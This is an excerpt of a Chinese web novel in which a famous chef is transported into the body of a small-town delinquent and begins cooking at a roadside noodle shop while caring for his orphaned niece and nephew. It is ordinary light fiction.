《我炒菜养你呀[美食]》 第1章 第 1 章 在九月一日这个神兽集体回笼的日子里，边江市左江区派出所的宣教室内，三个年轻男人瞪着眼前的纸和笔抓耳挠腮。 他们的头发分别染成火龙果红、猕猴桃绿和榴莲肉黄。 三颗脑袋并排凑在一起，像褪了色的红绿灯。 屋顶吊扇不太给力，吱呀作响还不怎么出风，三个人汗流浃背，十分应景。 警官说了，针对他们这次街头滋事闹事，法制教育后还要写500字的悔过书。 顶着一头火龙果色红发的年轻人正是戴千恩。 如果戴千恩知道帝都五星级国际大酒店的总厨也需要写年终总结报告，他是不会受邀去上任的，年薪百万也不去，打死也不去。 他本来学习就不怎么样，高中毕业就去技校学炒菜，要不是他姓戴，他都不知道“戴”字右上角那一点到底是有还是没有，怎么可能写得出年底总结这种东西呢。 如果他不去上任，就不会去参加什么团建，不去团建就不会出车祸，也不会穿越到这个也叫戴千恩小混混的身上。 集烹饪大师、中华名厨、世界名厨头衔于一身的青年，人称天赋异禀的国宝级厨神，此时正在派出所写悔过书。 他对这个穿越并不是很满意。 可好歹又活了一次，他也不好意思太大声抱怨。 戴千恩之所以会进派出所，是因为原主的小侄女戴橙。 戴橙是原主亲哥嫂的大女儿，今年14岁，刚上初二，自以为是社会姐，其实叛逆中二少女。 戴橙和前男友分手之后又交了个新男友，前男友醋意大发总是为难新男友，戴橙为爱出手，叫戴千恩带着几个“有势力”的道上兄弟教训前男友一番。 前男友也找来了“有势力”的兄弟，两队人马气势汹汹，打算在边江市这个十八线小城上演轰轰烈烈的无间道。 还没开始比拼，就遇上警察巡逻。 魑魅魍魉总归抵不过正道的光，两队人马双双被请进来喝茶。 原主不知被谁撞了一下腰，摔了一跤，再爬起来时，戴千恩就穿越过来了，“十分荣幸”亲自参与了这场中二又非主流的掰头。 然后就被抓进来了。 从小到大都是老实孩子的戴千恩，增加了从所未有过的人生体验。 对手是职高生，检讨写得熟练，写完后先去听普法教育，只剩下他们几个社会无业青年抓耳挠腮。 年底总结尚能网上搜索东拼西凑，而悔过书就要凭本事现场原创了。 戴千恩转过头问隔壁绿灯：“真字里面是两横还是三横？” 绿灯呆了下，问隔壁黄灯：“老戴问真字里面是两横还是三横。” 黄灯给出了个办法：“随便吧，知道是真字就行，实在不行用拼音。” 绿灯嗤了下说：“你是咱仨唯一上过本科的，也不懂？再说了，拼音老戴会么。” 黄灯刚想骂人，警官出声了：“安静！好好写！” 戴千恩叹了口气，画了一条竖波浪线代替“真”字里面的三条横线。 悔过书好歹写完了，戴千恩迷迷瞪瞪走出派出所，另一队人马也出来了。 两队人马出去之前警官再嘱咐一番：“现在边江市正在申请文明城市，你们都老实点，该读书的好好读书，该工作的好好工作，不要当社会的害虫！” 因为穿越这个事太离谱，加上写了500字悔过书之后脑袋有点空，戴千恩脑子有点恍惚，但还是拿出改邪归正的态度用力地点了点头。 来接对方职高生的是一男一女，女老师瞪了他们一眼之后喋喋不休批评学生，男老师一语不发，目光冷淡看着戴千恩，戴千恩在发呆，没察觉到他的目光。 绿灯看着神游的戴千恩，怼了怼他：“老戴，在想什么呢。” 戴千恩回过神回答：“在想真字里面有两横还是三横。” 绿灯笑骂道：“操，你该不会摔傻了吧，想这种文化人该想的事做什么。” 戴千恩心想，何止摔傻了，顺便换了个魂。 戴千恩腰一阵疼，没理会绿灯，抬手揉了揉。 绿灯意味深长地看着他：“老戴，腰疼啊。” 戴千恩点了下头：“是。” 绿灯和黄灯贼兮兮地笑了起来，绿灯问：“昨晚多少次？” 戴千恩一边揉一边茫然看着他们：“啊？” 黄灯：“老戴，节制点，好好养肾。” 绿灯：“没事，老戴家中常备肾宝片，不至于灰飞烟灭。” 看他俩笑得那么浪里个浪，戴千恩才反应过来这两个损友在说什么。 还没来得及解释，绿灯低声问他：“那个吊帅哥在盯着你看，你们认识？” 戴千恩抬头，看向绿灯口中所谓的“吊帅哥”。 大帅哥就是来接另一队人马的男老师，确实是在看着他。 帅哥你谁？被他的盛世美颜惊艳到了吗？ 可惜帅哥眼神不怎么友好，冷淡中带点鄙夷。 对方帅是真的帅，气质还干干净净的，高挺笔直的鼻梁上架着一副细边框眼镜，有饱读诗书的书生气，不难猜他从小到大是学霸，长大之后是高岭之花。 在电视剧里，这样的外形气质可正可邪，正派时是偏偏君子，黑化后则是斯文败类。 加上这身材，从小估计就是德智体美劳全面发展的Bking，就差把“老子最牛逼”几个字刻在脑门上了。 戴千恩搜刮原主记忆，也记不起这位Bking是谁，只是有点眼熟。 戴千恩茫然地看着帅比收回冷嘲热讽的眼神，再茫然地看着他离开的背影。 等人走远了，戴千恩才后知后觉地不服气。 他凭什么用这种眼神看人？ 但很快戴千恩就想开了，那人就是嫉妒，嫉妒他长得帅，之前厨王争霸赛总决赛上的对手就是用这种眼神看他。 可路过警容镜的时候，戴千恩大概就知道为什么那个帅比要用那种眼神看他了。 原主虽然也是个帅哥胚子，长得和他**分相似，但面黄肌瘦，脸色铁青，眼睛无神，眼底青紫，唯一有点血色的地方是额头，刚才摔的。 就一副扫黄进来的肾亏模样。 加上那头火龙果色的头发和非常不合身的大码T恤牛仔裤，更加非主流了。 也难怪，原主18岁从职业技术学院烹饪专业毕业之后就没找工作，花钱买的厨师证在箱底落灰，整天混网吧打游戏，和哥嫂离世留下来的两个孩子一起生活，平时打游戏卖装备挣点钱，但主要还是靠哥嫂的工伤死亡赔偿金混日子。 长期吃泡面吃外卖，有这种颓废的样子也正常。 绿灯拍了下他的肩膀说：“走了，老戴，去吃午饭，完了去网吧开黑。” 网吧他没去过，游戏也不会玩，更别提开黑了。 穿成一个和自己完全不一样的人，戴千恩其实有点无措。 但来都来了，活着怎么说也比直接死好吧。 戴千恩这么安慰自己。 已经到了下午，红绿灯三人组去路边小店吃炒面，三人一进店，所有人的眼神既鄙视又小心翼翼，正在排队的人还不着痕迹地和他们拉开了距离。 这不是“边江三混”吗。 收银的老板娘在吧台热情招呼客人点餐，轮到他们点餐时脸色肉眼可见冷了下来，不咸不淡道：“吃什么。” 老实孩子还没适应小混混的身份，被人区别对待，怪不习惯的。 炒面一端上来，绿灯推到戴千恩面前：“你先吃。” 但戴千恩看一眼便没了食欲。 好的食物要色香味俱全，且不说路边小店不用讲究配色和摆盘，但这份炒面油重酱多，面条太软，因为翻炒不均匀耙在一起，火候掌握得也不好，仔细闻还隐隐闻到一股糊味儿。 这个厨师不仅调味差，颠勺都不过关，刀功更不用说了，肉丝切得厚薄不一，白菜梗也切得粗细不均。 把饭做成这样，简直浪费粮食。 要这个厨师是他学生，那得从颠勺开始练。 绿灯：“老戴？怎么不吃？这家店的炒面不是你最爱吃的吗？” 戴千恩犹豫了下：“我也不是必须得吃。” 绿灯：“快吃，你吃饭最墨迹，一会儿要开黑。” 戴千恩不情不愿地拿起筷子，挑了根面条放进嘴里。 毫不意外地难吃。 戴千恩用世界名厨挑剔的眼光对一份路边小店的炒面挑出八百个毛病之后，黑着脸吃面。 毕竟浪费粮食可耻。 他很想去后厨提个建议，油少点，火小点，锅热了再倒油，热锅凉油快速翻炒，面条就不会太软，也不会糊锅，这么炒面条才能均匀裹上酱汁，根根分明。 还有，打鸡蛋的时候耐心一点，多搅拌两下炒出来才细腻爽滑，实在不行买个电动打蛋机。 戴千恩往后厨瞟一眼，看着颠勺的师傅比树干还粗壮的手臂，还有手臂上凶神恶煞的虎头纹身，戴千恩决定闭嘴。 要是之前，后厨的人会感谢他提点，但今时不同往日，他现在如果这么做肯定会被打死。 对于做饭这件事，他专业又挑剔，但他不傻。 戴千恩吃了一半，他两个朋友的炒饭还没上，他们不耐烦啧了声：“今天怎么这么慢，早知道和老戴点一样的炒面，一锅炒。” 戴千恩心想：要是一锅炒更难吃。 朋友没了耐心，刚想催促，从后厨传来一声吼：“什么？” 中气十足的声音吸引小小店铺里所有的食客。 老板娘连忙跑过去，差点被拿着锅铲往外跑的厨师撞飞。 纹着虎头的大汉面部肌肉哆嗦着，神色慌张道：“苏姐，我……我……我老婆破水了，快生了，我得马上回家，我得走了，我走了啊。” 老板娘：“预产期不是还有一个月吗？” “提前，提前，我走了啊，不好意思啊老苏姐。” 他说完拿着锅铲头也不回跑出了店里。 老板娘追出去：“锅铲，锅铲啊。” 壮汉头也不回，锅铲也不撒手。 帮厨阿姨追出来对老板娘说：“他这面炒到一半跑了，面还在锅里呢，咋弄呢。” 老板娘也不知道怎么办，店是小本生意，总共就请了一名厨师，帮厨还是她60岁的老母亲，她干收银员和服务员，短期的临时厨子不好找，找了一个月没找到。 她现在能做的只是赶紧关掉外卖通道。 正好是饭点，大家都饿着肚子，还都付了钱，加上天气热，客人理解归理解，但抱怨还是要抱怨。 “今天真倒霉，老子饿死了。” “去哪儿吃啊，这个点到哪儿人都多，下午还要早出工，没有时间休息。” “老板娘怎么不多请个人。” 而红绿灯三人组只有戴千恩吃上了，他们和店里的客人一样烦躁，小小的店即将要乱成一锅粥。 看着朋友的抱怨，戴千恩有点过意不去，毕竟他这碗面是他俩让他先吃的。 这一屋子的客人大多都是附近工地的农民工，还有一大堆外卖单没做，老板娘犹豫要不要找那个刚离了没多久的前夫来救急。 但想到前夫她一阵倒胃口，就破罐子破摔道：“十分抱歉各位，这样好不好？你们哪个晓得炒菜自己去炒着吃，饭钱我全退，如果想直接退钱，就来我这里退。” 她这么真诚，倒是把客人给整不会了，食客集体沉默，只有戴千恩当真，他站起来说：“我朋友还没吃，那我先去炒了？” 老板娘上下打量了他一眼，且不说小混混形象本就不怎么让人信服，他细胳膊细腿的能颠得动勺吗？别把她的厨房给烧了。 但如果拒绝了，刚才她说的那话不就掉地上了吗，连这点诚信都没有，还怎么做生意呢。 她一生要强，就是要脸，死要面子活受罪也愿意，厨房烧了也认了：“成，你去吧。” 作者有话说 显示所有文的作话 第1章 第 1 章 第2章 第 2 章 获得老板娘许可，戴千恩在众人看乐子的目的光中走进厨房。 老板娘和小红毛真有意思，一个敢说，一个敢做。 最先反应过来的是绿灯和黄灯。 黄灯叫江嘉，标准留守儿童，父母事业有成但离婚各自成家，他们都不愿把江嘉带在身边，出于对江嘉的愧疚，两人拼着劲给江嘉打钱，还花重金让他上了个民办三本，好让江嘉也有个本科学历。 绿灯叫关越，也是父母不知所踪，从小和奶奶一起生活，奶奶经营一家卤菜店，想让关越学习卤菜手艺，但关越有梦想，立志成为一个职业电竞选手，对厨房和大料没什么兴趣。 正好三人是发小，就这么浑浑噩噩地天天泡网吧开黑。 关越看着戴千恩坚决果断走进厨房的背影，正被戴千恩刚才那句“我朋友还没吃，我去炒”感动着。 关越很上头：“草，老戴真够意思，我果然没有交错朋友。” 江嘉就理智一些：“老戴会炒菜？” 关越逐渐冷静：“应该会吧，他在技校学的就是烹饪，有厨师证的。” 江嘉：“拉倒吧，他那个证是买的，你不知道？” 关越彻底冷静。 江嘉给他出了主意：“要不你去炒？你家好歹是餐饮行业里的。” 关越最怕厨房，在上头和厨房之间选择上头：“就冲着老戴这股义气，他炒生的我吃，糊了我也吃。” 江嘉：“……”我不吃就是不讲义气，也得吃。 两人在耳语的时候，戴千恩已经穿好了围裙。 虽然这家苍蝇小馆各方个面都显得不正规，但后厨卫生很干净，锅是锅盆是盆的挺整齐，挑剔的戴千恩心生几分包容。 戴千恩从小和奶奶在农村长大，虽然条件简陋，但每次做完饭，奶奶都会把厨房收拾得整齐干净，就连他踩着炒菜的凳子都会擦一擦。 帮厨的阿姨看着眼前清秀但略显虚弱的小红毛，有点怀疑，这小红毛会炒菜？ 但还是帮他把锅洗赶紧把菜配好。 一进厨房，戴千恩就会变得特别专注，锅铲被厨子顺走了，他只能用汤勺代替。 他熟练地起锅烧油，倒入打好的鸡蛋液，滋一声，鸡蛋液沿着边凝固，蛋白质和热油激发出来的煎炸香味强势扑鼻。 他铲子快速转动，鸡蛋液变成了均匀的鸡蛋碎，在锅里油油亮亮的特别好看。 锅铲在他手里变得格外听话，有条不紊地干好自己分内的事，到最后，他轻轻一抖，锅里的面条完成了一个完美的后空翻。 几分钟的功夫，一盘色香味俱全的炒面出锅了，面条根根分明，均匀裹上酱汁，大火爆炒激发的食材香味弥漫整个厨房，连对这个厨房香味已经免疫的帮厨阿姨都吞了吞口水，表情也从质疑到震惊，再到面色和蔼地看着他。 她连连称赞道：“小伙子果然人不貌相啊。” 戴千恩对自己的厨艺有十成的自信，毕竟让一个六十岁的大姨用赞赏的眼光看一个小红毛可不容易。 戴千恩：“麻烦您帮我端给我朋友，谢谢。” 帮厨阿姨把炒面端出来，香味也早就从厨房里飘到了大厅，她把炒面端到关越面前，两人边看游戏视频教程边讨论，看了眼前的炒面一眼之后，不约而同安静下来。 这盘炒面的卖相和平时他们吃的千差万别，而且闻着好香，一看就好吃。 他们嗅了两下之后，再默默对视，随后又一齐看向厨房。 厨房里被布帘子挡住了，看不到里面的人。 关越下意识站起来要往厨房走：“这炒面是老戴做的？我不信。” 江嘉眼睛没离开炒面，手也已经伸过去：“你不吃是吧，不吃我吃。” 关越老实了，赶紧坐下来吃，越吃越快，一口一个卧槽。 这吃相，江嘉看不下去：“你注意点吃相好吧？” 关越：“火候到位，调味均匀，太好吃了，老戴什么时候这么牛逼。” 江嘉：“我去告诉奶奶，你对美食还挺有天赋的，打算回去承接卤味店。” 关越：“闭嘴吧你。” 关越的吃相就是最鲜活的广告，加上这个味道实在太过勾人味蕾，隔壁桌准备起身离开的人又默默坐了下来。 他们指着关越的炒面对老板娘说：“钱我们也不退了，让那个小伙子也帮我炒一份一样的面，将就吃吃吧。” 老板娘看着手中的五个外卖单，觉得他们的主意不错。 等戴千恩端出第二份炒面的时候，关越已经完成了光盘行动，就连粘在碟子旁边的葱花碎都没能逃过一劫。 戴千恩刚想解开围裙，被老板娘截胡了：“小帅哥，能不能帮个忙，我这里还有五个外卖单，外面还有三个客人，你看能不能帮我把这些单子做完？我给你付工钱，拜托了。” 老板娘一改刚才冷淡鄙视的态度，笑盈盈地看着戴千恩。 戴千恩看了眼关越和江嘉，老板娘很有眼力见道：“我看你朋友还没吃饱，你再给他炒一份。” 刚想站起来说“我们还有事要做”的关越点了点头：“行。” 正在埋头吃面的江嘉百忙之中举手：“我也要一份。” 于是，穿越第一天，戴千恩去了一趟派出所，还打了一份临时工，拿到了50块钱的工钱，挣到了这个世界的第一桶金。 他们两个人总共吃了五分炒面，老板没收钱，他总共做了八份饭，他本来不想要这个工钱，但老板娘硬是要给他，他就象征性地拿了五十块。 临走前，老板娘还笑嘻嘻把他们送到门口，态度和他们刚进门的时候判若两人。 老板娘：“小戴，你要不要来我这里上个短期班？” 戴千恩有点不可思议：“你认识我？” 老板娘：“哎哟，这一带谁不认识你们仨……” 老板娘看了眼江嘉和关越愠怒的眼神，意识到自己说错了话，连忙改口：“我叫苏云禾，是这家店老板，我给你3000块一个月。” 戴千恩：“月薪三千？”那是牛马的工资吧！ 戴千恩没吃过月薪三千的苦，因为他在学校就参加了厨王争霸赛，一路过关斩将，决赛时做了一道奶奶最爱吃的蒜泥白肉，成品从刀功、颜色和味道上都无可挑剔，打败各五星饭店名厨，获得金奖，一时名声大噪，没毕业就有橄榄枝，一毕业就拿到了不错的薪水。 他的照片估计还在他们学校的荣誉榜上挂着呢。 关越瞪了苏云禾一眼，手搭在戴千恩的脖子上往外带：“老戴，我们走。” 苏云禾当年也混过江湖，这些小红毛小黄毛现在走的都是她来时的路。 苏云禾也不怵：“小伙子趁着年纪轻做点正经事赚点正经钱多好呢。” 戴千恩觉得苏云禾说得没毛病，但月薪三千…… 戴千恩没有直接拒绝：“我回去考虑考虑，先走了，拜拜。” 关越和江嘉吃得肚皮圆滚滚的，连续打了好几个饱嗝，吃得太饱整个人都慵懒了，步伐都慢了下来，着急着去网吧开黑的事情也不是那么着急了。 戴千恩回想刚才苏云禾的话，问道：“咱们这么出名啊，连这么小的一个店的老板娘都认识咱？” 关越和江嘉默默对视一眼，随后异口同声：“不要在意别人的闲言碎语。” 关越：“活出自己。” 江嘉：“走自己的路，让别人胡说八道。” 关越想想又不服气，抱怨道：“这个老板娘有什么资格说咱们，她自己还不是离婚自己带着女儿回娘家啃娘家。” 戴千恩：“这么碎的事你怎么知道？” 关越：“我奶奶说的。” 戴千恩：“……” 戴千恩看了眼他们妈见打的模样，默默叹了口气。 他一般很少站闲言碎语这边。 关越：“一会儿开黑我选输出路，你们不要跟我抢啊。” 戴千恩才想起来他们其实准备去网吧。 但他每次做完饭第一件事都是洗澡，加上这家小店的排烟系统实在是太差，他现在身上一股油烟味儿。 加上原主身体实在是虚，做几个人的饭都累够呛。 戴千恩：“我得回去洗个澡。” 两人不约而同看着他。 戴千恩：“而且你们吃得那么饱就坐着打游戏，容易长肚腩，丑死了。” 正好一个中年男人顶着个大啤酒肚走过来，加深了二十岁男人对大肚腩的恐惧，关越和江嘉不约而同摸向自己的肚腩。 戴千恩穿越过来的时候已经二十五岁了，可他们现在才20岁，他的心理年龄要比他们成熟，知道爱时尚的小黄毛可以忍受流言蜚语，但忍受不了油腻丑陋。 关越：“也行，你回去洗个澡，我们散步去网吧，一会儿你骑电动车过来找我们。” 戴千恩：“好的。” 或许吃太饱会麻痹脑神经，关越和江嘉走出一段路后才回过神来。 关越：“你不觉得老戴今天有点怪怪的吗？” 江嘉：“你不觉得我们今天也有点怪怪的吗？” 关越拍了下脑袋之后捶胸顿足：“靠，今天约了大神一起研究新打法的，我怎么能为了一碗炒面忘了这么重要的事，你怎么不提醒我？” 江嘉：“……”但凡我记得。 关越：“快走快走，果然人不能吃太饱，吃的太饱容易丧失理智，快叫老戴回来。” 而戴千恩跟着原主的记忆，骑着共享小电驴回到了家。 他们住的房子是哥嫂在外地打工买下的房子，总共120平的三房，户型很好，客厅和三个房间都是朝阳面，亮堂通透。 夫妻俩省吃俭用，为了让两个孩子上边江市最好的学校，买了边江市最好的楼盘。 哥哥的职业和戴千恩一样，他是个三星级酒店的厨师，嫂子是酒店服务员，两人因为酒店发生火灾不幸离世。 房子很乱，一个20岁的无业青年带着两个未成年人过日子，能干净到哪里去。 厨房不大，很久没用了，案台上甚至都有灰，原主每天给戴橙和戴青各五十块让他们自己解决温饱，自己也随便吃点，根本不会给他们做饭。 戴千恩看不得厨房乱，但穿越这件事是个体力活，他现在很疲劳，需要洗个澡好好休息一下。 洗完澡出来手机挤满了各种电话和短信，关越和江嘉的就不少，还有不少房产中介的，戴千恩统统划走了，目光停留在一条扣款信息上。 【房贷自动扣款-4245.81元，银行卡余额550，000.64元。】 还有房贷？ 戴千恩赶紧查房贷账户，这回悬着的心悬得更高了，原来不仅还有房贷，房贷还有80万，比存款还多二十五万。 哥嫂工伤离世赔偿金额快200万，每个月还有补贴，才两年而已，边江市就是个十八线小城市，巴掌大的地方，他们怎么挥霍到只剩这点钱的？ 戴千恩手机放在电脑桌上，碰到了鼠标，42寸的电脑曲面屏幕骤然亮起，还停留在游戏界面。 戴千恩看了下账户，知道钱怎么没的了，全氪金了。 戴电话铃声就响了，是关越打来的视频通话。 电话一接通，关越那头牛油果绿的头发出现在屏幕正中央。 关越：“老戴，上号啊，都这个点了，你在墨迹什么？我和阿江都等你等到头发都白了。” 三人一向臭味相投，七点半过后就开黑，一直打到凌晨四五点，刷个牙洗个澡睡到下午，约着一起吃个饭或者一起点外卖，又继续开黑。 十分命硬的生活习惯。 戴千恩拒绝了，“不了，我要睡觉。” 关越宛如视频卡顿一般呆住了，沉默了足足十秒钟之后反问他：“什么？你要干什么？” 戴千恩又冷静重复一遍：“我要睡觉。” 关越笃定地认为，戴千恩摔那么一下，摔傻了。 关越：“你脑子坏了吗？” 戴千恩慢悠悠叹了口气，慢条斯理道：“我哥嫂给我托梦好几次了，说如果我不收敛点，就立刻过来带我走。” 关越：“……” 戴千恩：“我这几天打算先听我哥嫂的话。” 关越有点相信了，他们仨玩得最疯的就是戴千恩，能让戴千恩断了网瘾，真的只有鬼能做到。 他们仨是没有爹妈奶奶带大的孩子，从小到大有点小病痛奶奶不是先去医院，而是先给祖宗上香。 即使去了医院回来病好了，也不忘给祖宗上香，感谢祖宗保佑。 虽然他们觉得大男人信鬼神很丢脸，但又忍不住觉得有点玄乎，本着宁可信其有，不可信其无的心态，两人今晚也打算好好睡个觉。 应付完发小，戴千恩总结自己现在的处境。 无业、负债、还带俩娃。 戴千恩关掉手机，蒙头大睡。 不管了，好累，先躺一会儿，即使天塌下来了，躺着的时候压得比较均匀，尸体也会比较好看。 第3章 第 3 章 戴千恩睡到了自然醒，神清气爽打开手机，才发现已经四点半了。 他午睡一般一个小时左右会自然醒，穿越之后本领带过来了，生物钟没带过来。 他翻了翻手机，备注为“戴青的狗逼班主任”的号码打了6个电话。 戴千恩才回过神来，他穿越了，现在是两个孩子的监护人，大的叫戴橙，上初二，小的叫戴青，上二年级。 他还要去接孩子。 戴千恩刚想拨过去，电话就响了，来电正是“戴青的狗逼班主任”。 戴千恩扫一眼来电显示，接起电话，先入为主道：“戴老师您好。” 那端沉默了一会儿，清冷如冰泉的声音从听筒里传来：“戴青家长，戴青违反学校纪律，请你来学校一趟。” 他毕恭毕敬回复对方：“好的，我马上到，戴老师您稍等。” 监护人应该是这样和老师交流的吧，小时候奶奶就是这么毕恭毕敬跟他的老师说话的。 他也没当过监护人，只好照葫芦画瓢了。 那端又沉默了好一会儿，半晌后才嗯一声挂了电话。 边江市第三小学离这儿不远，走路十分钟就到了。 学校门口有不少等着高年级孩子放学的奶奶，看到戴千恩，眼神都统一地变得鄙夷。 戴千恩没理会，刚要进学校，被保安拦了下来。 保安疾言厉色赶人：“这里不让呆！” 戴千恩本想反驳，但想到自己现在这个形象，只好默默叹了口气解释：“是戴老师让我来的。” 保安不让他进去：“哪个戴老师？等他来接你进去，你到黄线外等，小朋友快放学了，不要吓到小朋友。” 戴千恩给班主任打了个电话之后就耐心在外面等。 而奶奶们小声议论：“街溜子，好吃懒做，整天混日子，嚯嚯两个孩子。” “人家哥嫂工伤死了，好几百万工伤赔偿呢，够他挥霍一辈子了。” “没有几百万，工伤死亡赔100万左右，两人才两百多万而已，哪里够他这么挥霍。” “这街溜子父母死的早，还是哥嫂养大的呢，两个孩子跟着他也废了。” “是的，大的和小混混谈恋爱，小的和同学打架，两个小孩废了。” 边江市只是一个十八线的小城市，在一起上小学的家庭住得都不远，甚至很多都是同一个村镇一起到城里买房让孩子在城里读书的人，加上戴千恩是远近闻名的无业游民，他们家的事在附近这一带也就人尽皆知了。 怪不得今天中午炒面馆的老板娘认识他。 果然很出名。 有人听不下去站出来说话：“你们总议论别人家的事干什么，小伙子其实蛮能干的，只是人年轻，还不懂事。” “都20了还不懂事？你看老张家儿子，也20岁，一个月工资一万多了，前段时间刚给老张买了张按摩椅。” 那人继续反驳：“20岁还有死的呢，你咋不说呢。” “……” 一直在默默吃自己瓜的戴千恩听到这话也忍不住回头，想看看是谁在替他这个街溜子说话。 替他说话的人是今天中午的老板娘苏云禾，两人对上视线，她笑着朝他走了过来。 苏云禾率先找话题：“我女儿上六年级，你怎么这么晚才过来接孩子啊。” 戴千恩不好意思说实话，转移话题道：“现在是饭点，店里不忙？” 苏云禾：“忙啥啊，厨子还没招到呢，关门了。” 戴千恩心想，月薪三千确实很难招到厨子吧。 苏云禾说：“小戴你炒菜的功夫确实不错，那几个大哥吃完后连连称赞好吃，我刚才闭店的时候他们带着很多工友过来找你给他们炒面，只可惜扑了个空。” 戴千恩笑而不语，心想这几个工地大哥还挺会吃。 苏云禾继续说：“你要不要来我那里做几天？等我招到厨师你想回去随时可以，工资好商量。” 苏云禾三十多岁，饭馆开了两年不温不火，能维持温饱，客人一直图吃个快餐省事，这还是第一次是因为好吃有了回头客，甚至外卖通道关了之后还有客人打电话能不能送炒面。 她也不傻，知道戴千恩其实厨艺了得。 戴千恩想起中午关越说的话，老板娘离异独自带娃，他也知道这种小本生意确实经不起长期闭店。 奶奶曾教育过他，做人救急不救穷是积德，而他既然已经来到了这个世界，就要适应这个世界的生存法则。 目前找个事做，先适应这里的环境也挺好。这也是个机会。 戴千恩点头：“好啊。” 苏云禾眼睛顿时燃亮，高兴得抓住他的肩膀用力晃：“好的好的，谢谢谢谢。” 其他人像看神经病一样看着他们。 没一会儿，一道身影罩住他，凉如冰泉的声音想起：“戴青家长，请跟我来。” 苏云禾笑着松开他的肩膀：“老师来了，你先忙你的。” 戴千恩乖巧道：“好的，苏姐。” 苏云禾觉得这世界上没有比戴千恩更好的小伙子了，之前她怎么没觉得他那头红毛那么精神呢。 戴千恩转过身面对老师，笑容凝固在脸上。 这人不就是在派出所接学生的那个男老师吗？ 用傲慢又鄙夷的眼神看着他的那个帅比。 他是戴青的班主任？ 怪不得眼熟。 可原主是怎么做到连戴青的班主任都不认识的呢？ 戴千恩三连问之后简单地做了个总结—— 真是颠沛流离的穿越啊… 再活一遍还年轻了5岁果然是有代价的。 戴千恩太震惊，还很尴尬，暂时忘了表情管理，嘴也不听使唤了：“你你你……” 对方显然比他冷静很多，面无表情地看着他，镜片后那双看着就冷淡疏离地眼睛看人的时候像在看猴。 或许身体太僵硬，也不知道哪个动作做得不对，今天早上掰头的时候被撞的腰疼了下，戴千恩嘶了声，伸手揉了揉。 老师垂下眸，看了下他的腰。 作为一个正常的成年男人，加上刚才在派出所闹那么一出，戴千恩当然知道这个眼神是什么意思，他松手，在琢磨要不要解释他腰疼并不是因为肾虚。 算了，不解释了，他对肾功能这一块没有那么强的好胜心。 老师冷淡复述一遍：“戴青家长，请跟我来。” 戴千恩收拾了下情绪，很礼礼貌回应：“好的，戴老师，给您添麻烦了。” 戴千恩觉得，这人真的缺少小学老师和蔼可亲的气质啊。 保安很奇怪，什么戴老师，这不是大名鼎鼎的宋思源宋老师吗？ 保安看到这样的家长是宋思源老师带进来，心里彻底松了一口气。 也许就只有宋老师敢请这样的家长到学校了。 且不说这位宋老师身材高大，就光他这一张冷脸就让人发怵。 他不像别的老师一样笑咪咪地表现和蔼可亲，但也不气势汹汹破口大骂，而是不苟言笑，冷淡疏离，看似什么都不看在眼里，傲得很，完全没有小学老师该有的亲和力。 在开学典礼上，他耍了一段武术，身体腾空，长腿一踢，把扔过来的板砖凌空踢成了两半。 保安心想，宋老师要是哪天被学生和家长烦得老师当不下去了，他一定向公司老总举荐宋老师当他们的队长。 那些调皮捣蛋的学生自知自己那小身板都没有板砖硬，在学生眼里，宋老师比校长还要有威信。 宋老师一直冷着脸，对校长都不笑，所以校长安排他去吊车尾的二（10）班放牛。 戴青就在二(10)班。 戴千恩跟在老师身后走进校园，对方是老师，他的气势顿时就弱了一大截。 这和他从小受到的教育有关。 他从小和奶奶在农村一起长大，他读书的时候奶奶无条件相信老师，奶奶对他历任班主任说的第一句话总是：孩子交给您了，他不听话您就揍他，不用客气。 虽然他没挨过老师打，但他总觉得老师就是一言不合就想打人的暴躁刻板印象。 加上性子本身就温吞听话，久而久之，戴千恩对老师就有种想敬而远之的本能反应。 更何况他现在在戴老师的眼里是个常年进出派出所、常备肾宝片的混子人士。 学校办公室里，瘦瘦小小的戴青背着个大书包靠着墙，老师咳嗽一声，他连忙站好。 戴千恩窃喜，这不是蛮听老师话的吗，能调皮到哪里去。 老师从抽屉拿出两张纸递给戴千恩：“电话手表要暂存在我这儿，保证书和没收台账需要家长签个字。” 戴千恩照做了，保证书是戴青写的，字体歪歪扭扭，个头比他的头还大，没收台账上接着上个学期写，目之所及处，上学期的台账戴青有六条。 戴千恩签完字，老师又给他递了一份文件：“这是戴青的体检报告，重度营养不良。” 戴千恩顿了下，接过体检报告。 但老师没有放手，而是推了推鼻梁上的眼睛后，目光幽幽地直视他。 这眼神，比在派出所看他的眼神更加冷淡鄙夷。 不是，为人师表呢？都不掩饰一下吗？不打算遵守一下成年人之间的礼貌吗？ 他在嘲讽没错！ 老师冷淡笑了下说：“现在还有营养不良的儿童，学校十分重视，希望家长也能够重视。” 他说完，松开手中的体检报告，低头收拾东西：“回去吧。” 戴青扭头就走，戴千恩想拿着体检报告想追出去，但觉得还是应该和老师礼貌告个别。 于是他边走出去边挥手告别：“戴老师再见。” 宋思源咬了下后牙槽，心想这人小时候要是遇到他，肯定挨揍。 戴青步伐顿了下，回头瞪他，该死的戴千恩又要害他被宋阎王罚站了。 戴千恩三两步跟上，戴青拧着眉咬着牙瞪他：“他姓宋！你能不能记一下！” 7. 第 7 章 三个孩子风卷残云，当然主要是小敏和戴青在吃，大庭广众之下戴橙要面子，一方面顾及少女形象，一方面还要表现出对戴千恩的不屑。 四个菜全部光盘，酥脆的虾壳都被他们嚼干净了，连清蒸鲈鱼的葱丝都吃完了，剩下那点卤都拿来拌饭。 孩子们的嘴泛着油光，神情餍足。 小敏比戴青和戴橙要开朗些，不停夸赞：“小叔叔做的饭太好吃了！明天还要吃。” 来这种小馆子吃饭的大多都是上了年纪的中年人，他们特别乐意看小孩吃饭吃得香。 “老板娘你这几个孩子不孬，吃饭吃得好。” “现在的孩子都爱吃炸鸡汉堡，不好好吃饭。” “我那个儿子挑食得很，做啥都不吃。” “那有没有可能是你家做饭不好吃。” 哈哈哈—— 初秋的路边小饭馆里，有七桌靠晚饭时间暂缓疲劳的中年人，还有一桌吃饱饭的孩子。 充满市井烟火气的小馆子里，戴千恩看着他做的食物被客人一扫而空，桌桌光盘，这种满足感和上国际赛台领奖一样。 戴青吃得很饱，拍着圆滚滚的肚皮打嗝，小敏一边嗦手指一边说：“还想吃怎么办。” 苏云禾：“我看你最近天天吃撑，少吃点。” 戴橙吃了个半饱，有点后悔为什么不多吃点，戴千恩做饭确实好吃啊…… 半饱的胃和十分饱的自尊心在对峙，成就了个拧巴的叛逆少女。 戴千恩要忙到晚八点，戴橙带着戴青先回家，姐弟临走时，戴青手里还拎着个打包盒。 戴橙生气走在前面，戴青拿着饭盒走在后面，话也不敢说，戴橙走他也走，戴橙停他也停。 